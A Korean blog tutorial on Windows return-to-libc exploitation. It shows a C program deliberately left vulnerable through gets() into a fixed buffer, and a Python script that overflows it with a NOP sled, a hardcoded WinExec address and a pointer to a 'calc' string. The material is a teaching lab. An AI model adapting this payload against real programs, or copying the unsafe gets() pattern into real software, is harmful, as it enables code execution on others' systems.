ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Windows RTL
    Hack/Windows 2016. 6. 2. 02:48

    RTL도 그냥 리눅스랑 동일하게 하면되요


    바로 진행할게요 


    #include <stdio.h> #include <Windows.h> char calc[] = "calc\0"; int main(int argc, char *argv[]) { char buf[256]; printf("%p\n",calc); gets(buf); WinExec("cmd", 1); printf("%s\n", buf); }


    일단 취약점이존재하고, WinExec가 실행되는 바이너리에요


    calc를 쉽게 실행할수있게 전역변수로 놔두고 전역변수의 주소를 출력했어요




    바로 함수주소 알아와주고, calc 문자열이있는주소도 알아주고 바로 익스해볼게요


    import struct
    from subprocess import *
    p = lambda x:struct.pack("<L",x)
    
    proc = Popen("rtl.exe",stdin=PIPE)
    
    winexec = 0x754331f9
    payload = "\x90"*260
    payload += p(winexec)
    payload += "AAAA"
    payload += p(0x403020)
    payload += p(1)
    
    proc.stdin.write(payload)
    





    'Hack > Windows' 카테고리의 다른 글

    CoolPlayer Overflow  (0) 2016.06.03
    Windows ROP  (0) 2016.06.03
    SafeSEH 우회  (0) 2016.06.02
    Virtual Table(Vtable), Overwrite  (3) 2016.06.02
    SEH Overwrite  (0) 2016.06.01

    댓글

Designed by Tistory.